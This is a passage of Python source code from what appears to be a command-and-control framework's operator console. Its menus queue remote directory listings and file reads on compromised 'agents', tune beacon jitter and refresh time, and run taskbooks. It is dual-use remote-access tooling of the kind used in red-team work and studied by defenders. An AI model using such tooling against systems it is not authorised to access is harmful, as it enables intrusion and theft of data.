print("Usage: jitter 360") def do_pushnextcallback(self, inp): self.selected_agent.pushnextcallback = True def help_pushnextcallback(self): print("Description: Enables pushover notification on next callback from agent") def do_ls(self, inp): try: mod = self.helpers.get_module('operation/file/list_dir') mod.options['recurselevels']['value'] = "0" mod.options['filetype']['value'] = "*" mod.options['filename']['value'] = "*" mod.options['nodirectories']['value'] = "False" mod.options['nofiles']['value'] = "False" mod.options['sizeformat']['value'] = "mb" mod.options['output_console']['value'] = "True" mod.options['directory']['value'] = str(self.pathvar) task = TaskClass('operation/file/list_dir', self.helpers.renderModule(mod, self.selected_agent), mod.entry, copy.deepcopy(mod.options), True) self.selected_agent.add_task(task) except Exception as msg: print(" *** Error processing input: {}".format(msg)) def help_ls(self): print("Description: List out directory and files from the current directory") print("Usage: ls") def do_cd(self, inp): try: if inp == "..": self.pathvar = PureWindowsPath(self.pathvar.parent) elif inp == "\\": self.pathvar = PureWindowsPath(self.pathvar.anchor) else: self.pathvar = PureWindowsPath(self.pathvar,inp) except Exception as msg: print(" *** Error processing input: {}".format(msg)) def help_cd(self): print("Description: Change directory") print("Usage: cd temp") print("Usage: cd.. or cd ..") print("Usage: cd \\") def do_pwd(self, inp): try: print(str(self.pathvar)) except Exception as msg: print(" *** Error processing input: {}".format(msg)) def help_pwd(self): print("Description: Change directory") print("Usage: cd temp") print("Usage: cd..") def do_cat(self, inp): try: file = PureWindowsPath(self.pathvar,inp) mod = self.helpers.get_module('operation/file/cat_file') mod.options['file']['value'] = str(file) mod.options['output_console']['value'] = "True" task = TaskClass('operation/file/cat_file', self.helpers.renderModule(mod, self.selected_agent), mod.entry, copy.deepcopy(mod.options), True) self.selected_agent.add_task(task) except Exception as msg: print(" *** Error processing input: {}".format(msg)) def help_cat(self): print("Description: Does Cat on the file to the screen. It uses the current path (pwd)+whatyoutype") print("Usage: cat file.txt") ================================================ FILE: lib/menu/specpromptinteract.py ================================================ import os import cmd import traceback from datetime import datetime from lib.core.setup import gconfig from lib.core.helpers import Helpers from lib.menu.specpromptmodule import SpecPromptModule from lib.menu.specpromptexplorer import SpecPromptExplorer class SpecPromptInteract(cmd.Cmd): def __init__(self, selected_agent, helpers): self.ranAuto = False self.helpers = helpers self.selected_agent = selected_agent super().__init__() while len(self.helpers.rccommands) > 0: if self.onecmd(self.helpers.rccommands.pop(0)) is True: self.ranAuto = True return completekey = 'tab' def precmd(self, line): # Added for operator logging self.helpers.operatorlog(str(" "+line), False) return(line) def emptyline(self): """Called when an empty line is entered in response to the prompt. If this method is not overridden, it repeats the last nonempty command entered. """ if self.lastcmd: self.lastcmd = "" return self.onecmd('\n') def do_back(self, inp): return True def help_back(self): print("Description: Goes back in the menu") print("Usage: back") def do_info(self, inp): outlist = {} try: for value in vars(self.selected_agent): if value == "encryptedvbsfunctions": pass elif value == "tasks": outlist.update( {"tasks in queue" : len(self.selected_agent.tasks) }) else: outlist.update( {value : str(vars(self.selected_agent)[value]) }) for key,val in sorted(outlist.items()): print("{} : {}".format(key,val) , end="\n") except ValueError: print("Something went wrong...Not sure what") def help_info(self): print("Description: Lists out all agent properties") print("Usage: info") def do_clear(self, inp): os.system('clear') def help_clear(self): print("Description: Clears the screen") print("Usage: clear") def do_clearagentdata(self, inp): while 1: confirm = input("Are you sure you want to delete agentdata from:\n" + self.selected_agent.hostname + "\nYou will not be able to recover this data after you answer yes. \n\nYou have been WARNED!\n\nType YES to confirm (needs to be uppercase) - Anything else will exit without deleting\nThis will delete the content inside the txt file in the agent_data folder\n") if confirm == "YES": open("agent_data/" + self.selected_agent.hostname + ".txt", "w").close() break else: break return True def help_clearagentdata(self): print("Description: Deletes the agents data in the agentdata folder") print("Usage: clearagentdata") def do_delete(self, inp): while 1: confirm = input("Are you sure you want to delete:\n" + self.selected_agent.hostname + " " + self.selected_agent.username + " " + self.selected_agent.remoteip + "\n\nA PREFERRED WAY WOULD BE TO RUN THE TASK: Exe - Remove Homepage.\nYou will not be able to recover this agent after you answer yes. \n\nYou have been WARNED!\n\nType YES to confirm (needs to be uppercase) - Anything else will exit without deleting\nThis will not delete txt files in agent_data folder\n") if confirm == "YES": self.helpers.a_list.remove(self.selected_agent) self.helpers.save_agents_to_file() break else: break return True def help_delete(self): print("Description: Delete this agent completly from the database, will NOT delete data file in the agents_data folder") print("Usage: delete") def do_refreshtime(self, inp): try: self.selected_agent.refreshtime = int(inp) self.helpers.save_agents_to_file() except ValueError: print("Enter a digit value: 1-99999") def help_refreshtime(self): print("Description: Sets the refreshtime for the agent - specified in seconds") print("Usage: refreshtime 360") def do_jitter(self, inp): try: self.selected_agent.jitter = int(inp) self.helpers.save_agents_to_file() except ValueError: print("Enter a digit value: 1-99999") def help_jitter(self): print("Description: Sets the jitter for the agent - specified in seconds") print("Usage: jitter 360") def do_data(self, inp): try: print("\n*** Listing data for {}. ***".format(self.selected_agent.hostname)) print(open('./agent_data/'+self.selected_agent.hostname+'.txt', "r").read()) except FileNotFoundError: print("File with data not found - verify that ./agent_data/{}.txt exists".format(self.selected_agent.hostname)) def help_data(self): print("Description: List out the data retrieved from the agent.") print("Usage: data") def do_qlist(self, inp): if len(self.selected_agent.tasks) == 0: print("Empty queue") else: for item in self.selected_agent.tasks: print("Queue Item #{}".format(self.selected_agent.tasks.index(item) +1)) print("\tModule Name:\t{}".format(item.name)) print("\tTime Added:\t{}".format(item.added)) print("\tTime Passed:\t{}".format(datetime.strptime(datetime.now().strftime(gconfig.TIME_FORMAT), gconfig.TIME_FORMAT)-datetime.strptime(item.added,gconfig.TIME_FORMAT))) if hasattr(item, 'status'): print("\tstatus:\t{}".format(item.status)) for arg in item.options.keys(): if 'hidden' in item.options[arg] and item.options[arg]['hidden']: continue print("\t{}:\t{}".format(arg, item.options[arg]['value'])) print("\n") print("Agent Last check-in: {}".format(self.selected_agent.lastcheckin)) def help_qlist(self): print("Description: Lists out the current task queue for the agent") print("Usage: qlist") def do_qdel(self, inp): try: if inp == "*": print("Deleted all queued tasks") del self.selected_agent.tasks[:] else: inp = int(inp) - 1 #starts a 0, queue lists from 1 print("Deleting {}".format(self.selected_agent.tasks[inp].name)) self.selected_agent.tasks.pop(inp) self.helpers.save_agents_to_file() except SyntaxError: print("Not a valid number") except ValueError: print("Enter a digit or * to delete all tasks in queue - see help") except IndexError: print("Not a valid queue number - Use queue command to list") def help_qdel(self): print("Description: Delete either specified task by id or all by specifying *") print("Usage: qdel ") print("Usage: qdel *") def do_usemodule(self, inp): try: selected_module = self.helpers.get_module(inp) i = SpecPromptModule(self.helpers, selected_module, self.selected_agent, self.prompt[:-1]+':'+inp+'>') if i.ranAuto: return i.cmdloop() except KeyError: traceback.print_exc() print("Error - Did you type a valid module name?") except ValueError: traceback.print_exc() print("Error - Did you type a valid module name?") except TypeError: traceback.print_exc() print("Error - Did you type a valid module name?") except AttributeError: traceback.print_exc() print("Error - Did you type a valid module name?") def help_usemodule(self): print("Description: Interact with specified module") print("Usage: usemodule ") def do_explorer(self, inp): try: #agent = self.helpers.a_list.get_agent(int(inp)) i = SpecPromptExplorer(self.selected_agent, self.helpers) if i.ranAuto: return i.prompt = self.prompt[:-1]+':'+self.selected_agent.hostname+':Explorer>' i.cmdloop() except KeyError: traceback.print_exc() print("Error - Did you type a valid module name?") except ValueError: traceback.print_exc() print("Error - Did you type a valid module name?") except TypeError: traceback.print_exc() print("Error - Did you type a valid module name?") except AttributeError: traceback.print_exc() print("Error - Did you type a valid module name?") def help_explorer(self): print("Description: Starts the explorer module") print("Usage: explorer") def do_pushnextcallback(self, inp): self.selected_agent.pushnextcallback = True def help_pushnextcallback(self): print("Description: Enables pushover notification on next callback from agent") def complete_usemodule(self, text, line, begidx, endidx): return [i for i in self.helpers.modlist.keys() if i.startswith(text)] def do_runTaskBook(self, cmd): try: if not (self.selected_agent.encryptionkey): print("Agent does not have an encryption key yet. Cannot queue tasks before it is a fully agent") return False task = self.helpers.taskbooks[cmd] task.TaskBook(self.helpers, self.selected_agent) except KeyError: traceback.print_exc() print("Error - Did you type a valid taskbook name?") except Exception as msg: traceback.print_exc() print("handled error running taskbook: {}".format(msg)) def complete_runTaskBook(self, text, line, begidx, endidx): return [i for i in self.helpers.taskbooks.keys() if i.startswith(text)] def help_runTaskbook(self): print("Usage: runTaskbook ") ================================================ FILE: lib/menu/specpromptmodule.py ================================================ import copy import os import cmd import traceback from lib.core.utility import TaskClass from lib.core.helpers import Helpers class SpecPromptModule(cmd.Cmd): def __init__(self, helpers, selected_module, selected_agent, prompt): self.ranAuto = False self.selected_module = selected_module self.selected_agent = selected_agent self.helpers = helpers self.prompt = prompt super().__init__() while len(self.helpers.rccommands) > 0: if self.onecmd(self.helpers.rccommands.pop(0)) is True: self.ranAuto = True return completekey = 'tab' def precmd(self, line): # Added for operator logging self.helpers.operatorlog(str(" "+line), False) return(line) #def preloop(self): # #Define a task # self.task = TaskClass(self.selected_module.name, self.selected_module.category, self.selected_module.subcat, self.selected_module.funcname, self.selected_module.args) # self.do_options("display") # with open('random.txt', 'a') as file: # file.write('This is a line of text to append to the file.\n') def emptyline(self): """Called when an empty line is entered in response to the prompt. If this method is not overridden, it repeats the last nonempty command entered. """ if self.lastcmd: self.lastcmd = "" return self.onecmd('\n') def do_back(self, inp): return True def help_back(self): print("Description: Goes back in the menu") print("Usage: back") def do_options(self, cmd): print("Module Help/Description: \n\t{}".format(self.selected_module.help)) for k, v in self.selected_module.options.items(): if 'hidden' in v and v['hidden'] is True: continue print("\n {}\n\tValue: {}\n\tRequired: {}\n\tDescription: {}".format(k, v['value'], v['required'], v['description'])) print("\nUse set to change any presented options above. If you do not see options, you can't configure this module") def help_options(self): print("Description: Shows the module options that are currently set") print("Usage: options") def do_set(self, cmd): """set PROFILE testprofile sets option for handler.""" try: mykey = cmd.split(" ")[0].strip() myvalue = cmd.replace("%s " % (mykey), "") if mykey in list(self.selected_module.options.keys()): self.selected_module.set_option(mykey, myvalue) else: print(" *** Invalid value : %s" % (mykey)) except Exception as msg: print(" *** Error processing input: {}".format(msg)) def complete_set(self, text, line, start_index, end_index): arguments = self.helpers.getarguments(line) keylist = set(self.selected_module.options.keys()) filter = set() for key in keylist: if 'hidden' in self.selected_module.options[key] and self.selected_module.options[key]['hidden'] is True: filter.add(key) keylist = list(keylist - filter) if len(arguments) > 1: arguments.pop(0) if arguments[0] in keylist: if 'tab_complete' in self.selected_module.options[arguments[0]]: args = {} if 'tab_args' in self.selected_module.options[arguments[0]]: args = self.selected_module.options[arguments[0]]['tab_args'] if not isinstance(args, dict): print(" *** tab_args for argument {} is invalid".format(arguments[0])) args = {} return self.selected_module.options[arguments[0]]['tab_complete'](text, line, **args) else: if text: return [ name for name in keylist if name.startswith(text) ] else: return keylist def help_set(self): print("Description: Allows you to set the different options for the module") print("Usage: set